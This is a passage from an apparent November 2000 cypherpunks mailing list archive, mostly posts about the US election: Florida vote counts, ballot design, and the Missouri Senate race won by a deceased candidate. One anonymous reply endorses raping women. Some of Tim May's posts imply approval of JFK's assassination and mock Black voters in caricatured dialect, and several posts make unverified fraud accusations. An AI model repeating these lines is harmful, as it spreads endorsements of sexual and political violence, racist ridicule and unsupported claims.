Hallmark.com. Online, you'll find product information and feature stories with more to come. Visit us today! We're the Official PEANUTS Holiday Headquarters. http://update.hallmark.com/cgi-bin2/flo?y=eB1I0BMs6L0BMk0lLlC&userID=2192593 Happy Holidays, Hallmark.com Read the terms and conditions for the "Register to Win Snoopy plush" available at your local Hallmark Gold Crown Store. http://update.hallmark.com/cgi-bin2/flo?y=eB1I0BMs6L0BMk0lJzO If you'd rather not hear from us by e-mail, click here with the word "unsubscribe" in the subject line. We'll remove you from our online mailing list right away. mailto:unsub_openhouse at update.hallmark.com PEANUTS (C) United Features Syndicate, Inc. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 1841 bytes Desc: not available URL: From alan at clueserver.org Tue Nov 7 21:54:01 2000 From: alan at clueserver.org (Alan Olsen) Date: Wed, 8 Nov 2000 00:54:01 -0500 Subject: CDR: Measure 3 in Oregon wins! Message-ID: <4.2.2.20001107213046.058eb300@clueserver.org> The measure to require an actual conviction before taking your stuff (and putting limitations on just how much they can take) has passed 65% to 35%. At least some good news out of this election. --- | Terrorists - The Boogiemen for a new Millennium. | |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | | mankind free in one-key-steganography-privacy!" | Ignore the man | | | behind the keyboard.| | http://www.ctrl-alt-del.com/~alan/ |alan at ctrl-alt-del.com| From tcmay at got.net Tue Nov 7 23:24:47 2000 From: tcmay at got.net (Tim May) Date: Wed, 8 Nov 2000 02:24:47 -0500 Subject: CDR: Democrat Delay Elects Dead Man In-Reply-To: References: <200011080315.WAA13709@www5.aa.psiweb.com> Message-ID: At 11:17 PM -0500 11/7/00, R. A. Hettinga wrote: >At 7:46 PM -0800 on 11/7/00, Tim May wrote: > > >> (if he was appointed >> by Democrats, the jig's up) > >He was Gebhart's former chief of staff... > >:-). It looks like the extra 3 hours did the job in the Democrat-heavy precincts. The dead man, Mel Carnahan, has narrowly edged-out John Ashcroft. By the way, none of the news services I can find are reporting the "overturning" of this extension some have reported here...anyone have solid dope on this heavily-doped race? I know the Democrat criminal Richard Daley rigged it so that dead people would vote for the criminal JFK (terminated with extreme prejudice a few years later), but now we have the spectacle of Democrat criminals keeping the voting booths longer in Democrat zones so that a dead man could _win_. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From bill.stewart at pobox.com Wed Nov 8 02:25:20 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Wed, 08 Nov 2000 02:25:20 -0800 Subject: ANNOUNCE: Cypherpunks Mtg, STANFORD 11/11/00 Message-ID: <3.0.5.32.20001108022520.00b10170@idiom.com> Online version: http://www.cryptorights.org/cypherpunks/meetingpunks.html SF Bay Area Cypherpunks November 11, 2000 Events: Sat 11 November 1:00 - 5:00 PM Stanford University Campus - Tressider Union courtyard Agenda - Open Discussion Rodney Thayer will be talking about Metricom modems Ben Laurie may be in town, depending on transportation FreeSWAN 1.7 was just released. Oh, yeah, Bush\\\Gore\\\Bush\\\\Nader was elected :-) Location Info: The meeting location will be familiar to those who've been to our outdoor meetings before, but for those who haven't been, it's on the Stanford University campus, at the tables outside Tressider Union, at the end of Santa Theresa, just west of Dinkelspiel Auditorium. We meet at the tables on the west side of the building, inside the horseshoe "U" formed by Tresidder. Ask anyone on campus where Tressider is and they'll help you find it. If the weather is bad, we'll meet inside. Food and beverages are available at the cafe inside Tresidder. Location Maps: Stanford Campus (overview, Tresidder highlighted). http://www.stanford.edu/home/map/search_map.html?keyword=&ACADEMIC=Tresidder +Union Tressider Union (zoomed detail view). http://www.stanford.edu/home/map/stanford_zoom_map.html?234,312 Printable Stanford Map (407k). http://www.stanford.edu/home/visitors/campus_map.pdf [ This announcement sent to the following mailing lists: cypherpunks-announce at toad.com, meetingpunks at cryptorights.org, cypherpunks-request at cyberpass.net, cryptography-request at c2.net Mailing list complaints or address corrections to bill.stewart at pobox.com. ] Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From jbwnyc at lycos.com Tue Nov 7 23:38:22 2000 From: jbwnyc at lycos.com (James B Windle) Date: Wed, 8 Nov 2000 02:38:22 -0500 Subject: CDR: Re: Democrat Delay Elects Dead Man Message-ID: Reuter's reported that after the initial order keeping the precincts in question open until 10:00PM CST that the Republican party went to the US Court of Appeals and got an order closing the polls down at 8:00 PM CST, one hour later than they were supposed to close. I saw the story on Yahoo and it is presumably on others as well since Reuter's is the source. If Ashcroft does lose becsuse of this it raises the interesting question of who do you concede to when the opponent is a dead man? -- On Tue, 7 Nov 2000 23:08:58 Tim May wrote: > >At 11:17 PM -0500 11/7/00, R. A. Hettinga wrote: >>At 7:46 PM -0800 on 11/7/00, Tim May wrote: >> >> >>> (if he was appointed >>> by Democrats, the jig's up) >> >>He was Gebhart's former chief of staff... >> >>:-). > > >It looks like the extra 3 hours did the job in the Democrat-heavy >precincts. The dead man, Mel Carnahan, has narrowly edged-out John >Ashcroft. > >By the way, none of the news services I can find are reporting the >"overturning" of this extension some have reported here...anyone have >solid dope on this heavily-doped race? > >I know the Democrat criminal Richard Daley rigged it so that dead >people would vote for the criminal JFK (terminated with extreme >prejudice a few years later), but now we have the spectacle of >Democrat criminals keeping the voting booths longer in Democrat zones >so that a dead man could _win_. > >--Tim May >-- >---------:---------:---------:---------:---------:---------:---------:---- >Timothy C. May | Crypto Anarchy: encryption, digital money, >ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero >W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, >"Cyphernomicon" | black markets, collapse of governments. > > Get FREE Email/Voicemail with 15MB at Lycos Communications at http://comm.lycos.com From nobody at remailer.privacy.at Tue Nov 7 18:32:02 2000 From: nobody at remailer.privacy.at (Anonymous) Date: Wed, 8 Nov 2000 03:32:02 +0100 Subject: CDR: Re: election Message-ID: <640d0714ae2d9d6ef0e451a713bc6364@remailer.privacy.at> > The women in Michigan did it, the women in Penn. did it, > the women in Fla. did it. Wake up punks, it's the wimmens. > They rule. > MacN They need raping. From declan at well.com Wed Nov 8 01:05:34 2000 From: declan at well.com (Declan McCullagh) Date: Wed, 8 Nov 2000 04:05:34 -0500 Subject: CDR: Al Gore is only 630 votes away from winning the election Message-ID: <4.3.0.20001108034928.016a6820@mail.well.com> With 99.9 percent of the votes in Florida counted, Al Gore is only 630 votes away from winning the presidency. The Florida Department of State reports -- in numbers updated in the last five minutes -- that George W. Bush won 2,898,865 votes with Gore scoring 2,898,235. You can see the stats for yourself at: http://enight.dos.state.fl.us/SummaryRpt.asp?ElectionDate=11/7/00&RACE=PRE If Bush does not win Florida he cannot win the presidency, based on the numbers calculated by CNN and the networks. Oregon and Wisconsin, the two states still labeled as tossups, have a combined total of 18 votes, not enough to propel Bush to the necessary 270 electoral votes without Florida. A win in Florida would guarantee Gore a victory. Third parties in Florida made a difference. Libertarian Harry Browne won 15,609 votes, and the Green Party's Ralph Nader received 94,201 votes in the state. Nader occasionally claims that he lures voters who would not otherwise go to the polls. But if even one percent of Nader's voters had turned to Gore -- a certainty -- the presidential election would have turned out differently. With only a 630 vote difference out of some 6 million votes cast in Florida, a recount could go a different way. As I write this, Gore has made a concession call to Bush, but I'd imagine the Dems would want a recount. That's what Gore's supporters are chanting in Tennessee, anyway. -Declan From George at orwellian.org Wed Nov 8 01:19:38 2000 From: George at orwellian.org (George at orwellian.org) Date: Wed, 8 Nov 2000 04:19:38 -0500 Subject: CDR: Re: Al Gore is only 630 votes away from winning the election Message-ID: <200011080905.EAA12587@www8.aa.psiweb.com> Declan the Reporter wrote: # Al Gore is only 630 votes away from winning the election Now they'll have to wait until all the absentee ballots are counted. They had to be postedmarked by midnight. Approximately 10 days away. Surreal. From k.brown at ccs.bbk.ac.uk Wed Nov 8 03:31:28 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Wed, 8 Nov 2000 06:31:28 -0500 Subject: CDR: Well, that's over. Heads up, America! References: <4.3.0.20001108034928.016a6820@mail.well.com> Message-ID: <3A093637.FDF4FABC@ccs.bbk.ac.uk> OK you folks on the downwind side of the Atlantic, now your election is over (even if you won't know the result for 3 weeks yet), can you take your weather back? We've had a month of egregious rain and floods over here and I'm sure it has to be your fault somehow. 5 tornadoes in Sussex (my home county) one of them even killed people. These things just don't happen in England. It must be the Americans fault. Somehow. It wasn't like this in my day... What did happen to Jim Bell? Just a search or worse? You were all posting about it then got side-tracked into polling hours. Did he phone Declan? Ken Brown As a foreigner (from your USan POV) far be it from me to try to make any suggestions about your internal politics but I never was any good at temptation so... if the recount (surely there has to be one?) & postal votes in Florida go Bush's way you may have removed the last obstacle to Hillary becoming president or VP next time round :-) You guys have political dynasties now. Like they do in India and places like that. (Was Gore Vidal named for Al's grandad?) Chelsea vs. Jeb junior in 2020? And why are both presidential candidates such bores? The received wisdom is that politics at that level is all about advertising, TV, good looks, soundbites and star quality. Doesn't this contest disprove that? Both main candidates look really, really boring on TV (though George W "Too many of our imports come from overseas" Bush sometimes says some amusingly stupid-sounding things. But then so did General Haig :-( Thinking over the men who you've had as president in my TV-watching-lifetime, only two (Kennedy & Clinton) had anything approaching "star quality" on TV. Ford, the older Bush & Carter came over as pretty normal (dull in one case, likeable in the others), Johnson sort of weird, and Nixon actually repulsive. Some Americans tell me that Reagan played well on TV but to us Europeans that just goes to show how strange Americans can be. Over here, he looked scary. Of course I've no idea what any of these people are like in real life - just how they seem through the media. Same goes with knobs on for our UK Prime Ministers. Only the present incumbent & Harold Macmillan (who you guys will never have heard of) could have been called good-looking, & MacMillan was past it by the time he got to be PM. Wilson, Heath, Callaghan, Major - none of them were ever going to get to be a chat show host. Thatcher was (& is) almost universally hated, even by those who voted for her. Maybe that is why most of your states voted dam near 50-50 for each candidate. Same policies on most things that count, and where they differ nobody believes them anyway. (Is Bush really saying, as his Tory acolytes over here in Britain are, that you can cut taxes *and* increase pubic spending? Does anyone take that seriously enough to factor it in to their voting behaviour?). And neither of them comes over as more than a worthy 3rd-generation public servant. (What we call "the Great and the Good" - the sort of people that get appointed onto commissions and boards and inquiries) With nothing to choose between them, votes just came out at random. Certainly that is how Labour got in in UK. Everyone hated the Tories. Labour promised - in writing - to carry on Tory policies on most things (they even adopted the Tory budget for 2 years). So the only issue was that Labour looked like the nice guys. Landslide. From dave at technopagan.org Tue Nov 7 23:15:17 2000 From: dave at technopagan.org (David E. Smith) Date: Wed, 8 Nov 2000 07:15:17 +0000 (GMT) Subject: CDR: Courts interfering with election In-Reply-To: Message-ID: On Tue, 7 Nov 2000, Tim May wrote: > A judge in St. Louis has ordered the polls kept open later, until 10 > pm local time. The effect will be to let more inner city, > Democrat-leaning voters vote. > > A similar measure was turned down in another state (Kansas?). Kansas City, Missouri, actually (IIRC, natch). The whole point, really, isn't so much about the Presidential race as it is to try to elect the dead guy to Congress. I can only wonder at the logic of this whole charade -- yeah, the lines were a little long (I'm in a St. Louis 'burb, and I voted at 8 a.m.), but that's pretty much par for the course. (The ridiculous can o' worms that one opens up, if it turns out the late Mel Carnahan wins his election, is one that I'd rather not deal with at one in the morning. :) ...dave From ravage at ssz.com Wed Nov 8 05:40:11 2000 From: ravage at ssz.com (Jim Choate) Date: Wed, 8 Nov 2000 07:40:11 -0600 (CST) Subject: CDR: Another example of human 'social structure' building Message-ID: Hi, For another example of how ingrained the concept of 'government' and 'shared social structures' is, take a look at, http://kuro5hin.org Pay attention to the "We the people of Kuro5hin". ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From whgiii at openpgp.net Wed Nov 8 04:59:09 2000 From: whgiii at openpgp.net (William H. Geiger III) Date: Wed, 8 Nov 2000 07:59:09 -0500 Subject: CDR: Re: Jim Bell's House Being Searched In-Reply-To: <20001107001727.A24362@cluebot.com> Message-ID: <200011081258.HAA03297@domains.invweb.net> In <20001107001727.A24362 at cluebot.com>, on 11/06/00 at 11:08 PM, Declan McCullagh said: >On Mon, Nov 06, 2000 at 02:55:41PM -0800, Alex B. Shepardsen wrote: > Do >you know what law enforcement agency these "types" represent? Can we > >get names and badge numbers? >Reportedly: >Special Agent Phillip G. Scott >IRS Special Agent Jeff Gordon > 'ol Jeff is at it again. I relly wish he would find a new hobby. Oh well I guess now is a good enough time as any to conduct a security aduit. -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html E-Secure: http://www.openpgp.net/esecure.html --------------------------------------------------------------- From netsurf at sersol.com Wed Nov 8 08:02:16 2000 From: netsurf at sersol.com (James D. Wilson) Date: Wed, 8 Nov 2000 08:02:16 -0800 Subject: CDR: Wiff Diffie on Next Step this week In-Reply-To: Message-ID: A non-text attachment was scrubbed... Name: not available Type: application/pgp Size: 380 bytes Desc: not available URL: From See.Comment.Header at [127.1] Wed Nov 8 05:13:44 2000 From: See.Comment.Header at [127.1] (Private User) Date: Wed, 8 Nov 2000 08:13:44 -0500 Subject: CDR: Cypherpunk(ish) Net Comic Strips Message-ID: UserFriendly.org ================ The life and times of a beleagured linux software house and its geeks. This week's full page spread: A Spamming Analogy even a Republicrat could understand. http://ars.userfriendly.org/cartoons/?id=20001105&mode= Totalitarian Burger (in color) =================== "We KNOW what you want to order!" from employees of the world's worst fast food chain. Episode 57: Census2000 and congressional skulduggery. http://www.unquietmind.com/totalitarian57.html Episode 56: InfoHighway Blowout, comparing faulty Censorware to faulty Firestone tyres. http://www.unquietmind.com/totalitarian56.html Most recent episode, http://www.unquietmind.com/total_redirect.html From tcmay at got.net Wed Nov 8 08:19:39 2000 From: tcmay at got.net (Tim May) Date: Wed, 8 Nov 2000 08:19:39 -0800 Subject: CDR: Courts interfering with election In-Reply-To: References: Message-ID: At 7:15 AM +0000 11/8/00, David E. Smith wrote: >On Tue, 7 Nov 2000, Tim May wrote: > >> A judge in St. Louis has ordered the polls kept open later, until 10 >> pm local time. The effect will be to let more inner city, >> Democrat-leaning voters vote. >> >> A similar measure was turned down in another state (Kansas?). > >Kansas City, Missouri, actually (IIRC, natch). > >The whole point, really, isn't so much about the Presidential race as it >is to try to elect the dead guy to Congress. > >I can only wonder at the logic of this whole charade -- yeah, the lines >were a little long (I'm in a St. Louis 'burb, and I voted at 8 a.m.), but >that's pretty much par for the course. > >(The ridiculous can o' worms that one opens up, if it turns out the late >Mel Carnahan wins his election, is one that I'd rather not deal with at >one in the morning. :) The dead guy won by a narrow margin. It'll be interesting to do the calculations on how many "late voters" were let in after the official polling hours because of this Democrat judge's actions. The last time an election was stolen by these kinds of fraudulent measures, the 1960 election, the fraudster was terminated with extreme prejudice a few years later. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From whgiii at openpgp.net Wed Nov 8 06:27:40 2000 From: whgiii at openpgp.net (William H. Geiger III) Date: Wed, 8 Nov 2000 09:27:40 -0500 Subject: CDR: Re: Al Gore is only 630 votes away from winning the election In-Reply-To: <4.3.0.20001108034928.016a6820@mail.well.com> Message-ID: <200011081427.JAA13808@domains.invweb.net> In <4.3.0.20001108034928.016a6820 at mail.well.com>, on 11/08/00 at 02:49 AM, Declan McCullagh said: >http://enight.dos.state.fl.us/SummaryRpt.asp?ElectionDate=11/7/00&RACE=PRE The numbers have changed giving Bush a larger lead: Bush/Cheney(REP) 2,909,135 48.9% +1784 Gore/Lieberman(DEM) 2,907,351 48.9% Browne/Olivier(LIB) 15,658 0.3% Nader/LaDuke(GRE) 94,479 1.6% Harris/Trowe(SWP) 551 0.0% Hagelin/Goldhaber(LAW) 2,240 0.0% Buchanan/Foster(REF) 16,962 0.3% McReynolds/Hollis(SPF) 618 0.0% Phillips/Frazier(CPF) 1,347 0.0% Moorehead/La Riva(WWP) 1,728 0.0% Total 5,950,069 100.0% No numbers available on Absentee Ballots which in FL are hand counted*. A recount has been called for. NOTE: In FL you are given a 2 sided ballot there are broken arrows next to each candidates name ( <== == ). In the voting booth you are provided with a black felt tip pen. To select your candidate you fill in the blank space to complete the arrow. When you are finished there is an OCR machine onto of a large box at the entrance to the polling place. You tear off a stub on the ballot, hand it to the person manning the OCR machine, then you feed the ballot into the machine which automatically tallies your vote and deposits the ballot into the box below. An interesting side note, on presenting my voter registration card I was asked for my Drivers License. I asked the attendant why she needed it. Her response was that it was required by law to present a photoID. I asked here what would happen if I didn't have one. She said that I would not be able to vote. I did not go into detail if it had to be a state ID or any photoID would work but I was left with the impression that only a state ID would be accepted. There was also some dirty politics here in FL with the various news networks. For those who are not aware FL has 2 time zones. Everything east of Tallahasse is Eastern, Tallahasse west is Central. The news media was very quick to claim FL as a victory for Gore and were broadcasting this before the polls closed in the western half of the state. One has to wonder if this did not have an adverse effect on voter turnout in the panhandle which historically is very conservative (Joe Scarboro (R) ran unopposed). I voted around 6:30pm and I am quite happy to know that my vote has had such a profound influence on this election. -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html E-Secure: http://www.openpgp.net/esecure.html --------------------------------------------------------------- From neumann at csl.sri.com Wed Nov 8 10:20:27 2000 From: neumann at csl.sri.com (Peter G. Neumann) Date: Wed, 8 Nov 2000 10:20:27 PST Subject: No subject Message-ID: [...] ======================================================================== FROM SIGSOFT Software Engineering Notes, January 1989, Peter G. Neumann: The latest item on the integrity of computers in elections relates to the November 1988 Senate race in Florida. *The New York Times* (Saturday, 12 Nov 88, page 9) had an article by Andrew Rosenthal on suspicions of fraud arising from the results. At the end of the Election Day ballot counting, the Democrat Buddy Mackay was ahead. After the absentee ballots were counted, the Republican Connie Mack was declared the winner by 30,000 votes out of 4 million. However, in four counties (for which B.R.C. provided the computing services), the number of votes counted for Senator was 200,000 votes less than the votes for President while in other counties and in previous elections the two vote totals have generally been close to each other. Remembering that punched card are intrinsically a flaky medium and easy to alter surreptitiously, and that the computer systems in question reportedly permit their operators to turn off the audit trails and to change arbitrary memory locations on the fly, it seems natural to wonder whether anything strange went on. Subsequent to the Times article, a recount was requested, but a selective recount of a few precincts apparently turned up nothing unusual. However, doubts linger about the essential subvertibility of the process -- particularly in the case of punched cards. In Texas, a law suit has been filed on behalf of the voters of the state challenging the entire election and requesting not a recount but an entirely new election. The grounds are that the State did not follow its own procedures for certifying the election equipment. --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From frissell at panix.com Wed Nov 8 07:24:30 2000 From: frissell at panix.com (Duncan Frissell) Date: Wed, 08 Nov 2000 10:24:30 -0500 Subject: CDR: Calif Mandatory Youth Education Camp competition loses in CA In-Reply-To: <3.0.5.32.20001107202513.00959420@207.69.200.219> Message-ID: <5.0.0.25.0.20001108101352.0438d960@popserver.panix.com> At 11:31 PM 11/7/00 -0500, David Honig wrote: >Seems the Calif proposition to fund private schools has failed. > >You must register Jr. with the government next September. Mandatory >anthrax shots in January. Home schooling remains legal in KKKalifornia despite occasional attempts by school districts to suppress it. If you do real home schooling where you neglect to register your home school with the geheime stadt polezei you are very unlikely to even come to the attention of the authorities much less have any trouble with them. Most of the "Department of Children's Services" seizures of kiddies that are fodder for Net libertarians and right wing nuts would not have occurred had the little nipper's parents not handed them over to the educational authorities in the first place. Since sending one's kids to slave schools is the world's most common form of child abuse, the fact that families are "punished" for it by having their kids drugged, lobotomized, and (occasionally) seized is not as troubling as it would be had they not decided to damage their kids themselves by entrusting their brains to the government. No government school = no files = no starting point for oppression of children by the authorities. DCF ---- Some years ago, my daughter was asked by a woman in a shop why she wasn't in school. She gave the answer I had previously suggested, half in jest. "My daddy doesn't believe in your schools. He says they're controlled by the communists." Further deponent sayeth not. From ptrei at rsasecurity.com Wed Nov 8 07:28:54 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Wed, 8 Nov 2000 10:28:54 -0500 Subject: CDR: Weather [was: RE: Well, that's over. Heads up, America!] Message-ID: > Ken Brown[SMTP:k.brown at ccs.bbk.ac.uk] wrote: > > OK you folks on the downwind side of the Atlantic, now your election is > over (even if you won't know the result for 3 weeks yet), can you take > your weather back? We've had a month of egregious rain and floods over > here and I'm sure it has to be your fault somehow. 5 tornadoes in Sussex > (my home county) one of them even killed people. These things just don't > happen in England. It must be the Americans fault. Somehow. It wasn't > like this in my day... [...] > Ken Brown [...] I once heard a European pundit observe that Americans seem normal most of the time, but every now and then something surfaces to make it clear just how alien they actually are. The example he gave was the American obsession with weather. In Europe, talk about the weather is just conversational padding; noise of no serious consequence to fill an otherwise awkward silences. Americans, on the other hand, MEAN IT when they talk about the weather. They sit up and pay attention when forecasts appear. All US cable systems carry a channel which broadcasts nothing except weather reports, 24x7 - a notion which seems as bizarre to Europeans as would a channel for watching the grass grow. He surmised that this is due to the fact that in the US, unlike Europe, bad weather can kill you. [And even if it doesn't kill you, it can sure as hell play havoc with your day. I've had over 2 feet of snow overnight at my house, while 10 miles away there was just rain. Mark Twain once gave a speech about the New England weather: http://marktwain.about.com/arts/marktwain/library/speeches/bl_weather.htm It's worth a look. ] Peter Trei From whgiii at openpgp.net Wed Nov 8 07:35:19 2000 From: whgiii at openpgp.net (William H. Geiger III) Date: Wed, 8 Nov 2000 10:35:19 -0500 Subject: CDR: More blather from the DEMS on FL Message-ID: <200011081535.KAA20644@domains.invweb.net> While the recount of the FL ballots is going on the Democrats are now complaining about the format of the ballot and threating legal action. It seems that the ballot is "confusing". The complaint is that the double sided ballot contained 2 columns on each side rather than one. I personally used the FL ballot. It was large, well printed, and quite legible. Anyone who was "confused" by it's format is just too dam stupid to vote. I am starting to get the feeling that the SC is going to decide this election before it is all over. :( -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html E-Secure: http://www.openpgp.net/esecure.html --------------------------------------------------------------- From brflgnk at cotse.com Wed Nov 8 07:36:45 2000 From: brflgnk at cotse.com (brflgnk at cotse.com) Date: Wed, 08 Nov 2000 10:36:45 -0500 Subject: CDR: A very brief politcal rant Message-ID: <973697805.3a09730d4e448@webmail.cotse.com> If the citizens of Missouri chose to elect a deceased person as Senator, I think that's exactly what they should get. Leave the seat empty for two years. From whgiii at openpgp.net Wed Nov 8 07:50:03 2000 From: whgiii at openpgp.net (William H. Geiger III) Date: Wed, 8 Nov 2000 10:50:03 -0500 Subject: CDR: [Correction] More blather from the DEMS on FL Message-ID: <200011081549.KAA22279@domains.invweb.net> >While the recount of the FL ballots is going on the Democrats are now >complaining about the format of the ballot and threating legal action. It >seems that the ballot is "confusing". The complaint is that the double >sided ballot contained 2 columns on each side rather than one. >I personally used the FL ballot. It was large, well printed, and quite >legible. Anyone who was "confused" by it's format is just too dam stupid >to vote. >I am starting to get the feeling that the SC is going to decide this >election before it is all over. :( My mistake, seems that one county in FL used a different ballot than the rest of the state. They used a punch style ballot with one column of punch holes and candidates on both sides: Bush --> 0 0 <-- Buchanan Gore --> 0 0 <-- Nader 0 0 Still seems simple enough to me. IMHO if the courts order a new election in this county then they need to do it for the entire state as the electorial college is winner take all and it would be unjust to allow this one county to determine how these delegates vote. -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html E-Secure: http://www.openpgp.net/esecure.html --------------------------------------------------------------- From tcmay at got.net Wed Nov 8 08:02:04 2000 From: tcmay at got.net (Tim May) Date: Wed, 8 Nov 2000 11:02:04 -0500 Subject: CDR: Re: More blather from the DEMS on FL In-Reply-To: <200011081535.KAA20644@domains.invweb.net> References: <200011081535.KAA20644@domains.invweb.net> Message-ID: At 10:35 AM -0500 11/8/00, William H. Geiger III wrote: >While the recount of the FL ballots is going on the Democrats are now >complaining about the format of the ballot and threating legal action. It >seems that the ballot is "confusing". The complaint is that the double >sided ballot contained 2 columns on each side rather than one. > >I personally used the FL ballot. It was large, well printed, and quite >legible. Anyone who was "confused" by it's format is just too dam stupid >to vote. > >I am starting to get the feeling that the SC is going to decide this >election before it is all over. :( "It dis-crim-nated 'gainst da homeys." Jesse Jackson and Al Sharpton are calling rallies to get certain results "investigated." Marches are planned. And Jeb Bush has flown back to Florida to supervise the recount. Yep, I think that whatever result is finally reported, the recriminations and charges of election fraud will continue. We'll have another president addressed as "Your Fraudulency." Sounds good to me. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From mdpopescu at geocities.com Wed Nov 8 08:04:43 2000 From: mdpopescu at geocities.com (Marcel Popescu) Date: Wed, 8 Nov 2000 11:04:43 -0500 Subject: CDR: Weather [was: RE: Well, that's over. Heads up, America!] References: Message-ID: <00f501c0499d$77d932b0$1d01a8c0@microbilt.com> From tcmay at got.net Wed Nov 8 08:08:44 2000 From: tcmay at got.net (Tim May) Date: Wed, 8 Nov 2000 11:08:44 -0500 Subject: CDR: Re: Al Gore is only 630 votes away from winning the election In-Reply-To: <4.3.0.20001108034928.016a6820@mail.well.com> References: <4.3.0.20001108034928.016a6820@mail.well.com> Message-ID: At 3:49 AM -0500 11/8/00, Declan McCullagh wrote: >With 99.9 percent of the votes in Florida counted, Al Gore is only >630 votes away from winning the presidency. The Florida Department >of State reports -- in numbers updated in the last five minutes -- >that George W. Bush won 2,898,865 votes with Gore scoring 2,898,235. I'm watching Jesse Jackson on CNN, saying he and others (Al Sharpton, etc.) will be rallying to investigate "irregularities" in Florida. They plan marches. Both sides are now scrambling to find the extra votes they need. I wouldn't be at all surprised if both sides don't turn up "undiscovered" votes. Or if both sides don't sue to invalidate entire blocs of votes (from certain precincts). The longer the recount goes on, the more suspect the final tally, ironically enough. The one good thing out of this circus is that neither party will have the "mandate" to push for lots of new laws. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From tcmay at got.net Wed Nov 8 08:14:45 2000 From: tcmay at got.net (Tim May) Date: Wed, 8 Nov 2000 11:14:45 -0500 Subject: CDR: Re: [Correction] More blather from the DEMS on FL In-Reply-To: <200011081549.KAA22279@domains.invweb.net> References: <200011081549.KAA22279@domains.invweb.net> Message-ID: At 10:50 AM -0500 11/8/00, William H. Geiger III wrote: > > >IMHO if the courts order a new election in this county then they need to >do it for the entire state as the electorial college is winner take all >and it would be unjust to allow this one county to determine how these >delegates vote. > Well, they spent $3 billion on this election, I hear. A new vote in this county would let them spend another billion or two, just for that one county. You are right that if they order a new election in that county--which is not beyond the pale, as the judges are pols--they should order a new election in the entire state. And even that would not be "fair," of course. This may actually be the event which accelerates a move to electronic voting. Which is not an unmitigated good, despite the high "Wired" score it would undoubtedly garner. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From Results at TVEyes.com Wed Nov 8 08:14:54 2000 From: Results at TVEyes.com (Results at TVEyes.com) Date: Wed, 8 Nov 2000 11:14:54 -0500 Subject: CDR: crypto Message-ID: <59EBFD05352BD411B71600D0B74739D1EBFED7@maileyes.tveyes.com> Your keyword(s), crypto, was recently spoken on CNN during Morning News. Wednesday, Nov 8 2000 at 11:14 AM ......democrats must now find progressive routes or watch the party gradually wither away or basically become a crypto republican party if democratic are disappointed ...... For details, visit http://www.TVEyes.com/database/expand.asp?ln=2568587&Key=crypto Just follow the above link to keep your account active for this keyword. For total control of your keywords, go to http://www.tveyes.com/log_in.asp Get $200 in FREE Gasoline: no risk, no obligation! http://by.advertising.com/1/c/23066/7793// AOL users click here From openpgp at openpgp.net Wed Nov 8 08:19:21 2000 From: openpgp at openpgp.net (Openpgp) Date: Wed, 8 Nov 2000 11:19:21 -0500 Subject: CDR: Re: More blather from the DEMS on FL In-Reply-To: Message-ID: On Wed, 8 Nov 2000, Tim May wrote: > At 10:35 AM -0500 11/8/00, William H. Geiger III wrote: > >While the recount of the FL ballots is going on the Democrats are now > >complaining about the format of the ballot and threating legal action. It > >seems that the ballot is "confusing". The complaint is that the double > >sided ballot contained 2 columns on each side rather than one. > > > >I personally used the FL ballot. It was large, well printed, and quite > >legible. Anyone who was "confused" by it's format is just too dam stupid > >to vote. > > > >I am starting to get the feeling that the SC is going to decide this > >election before it is all over. :( > > "It dis-crim-nated 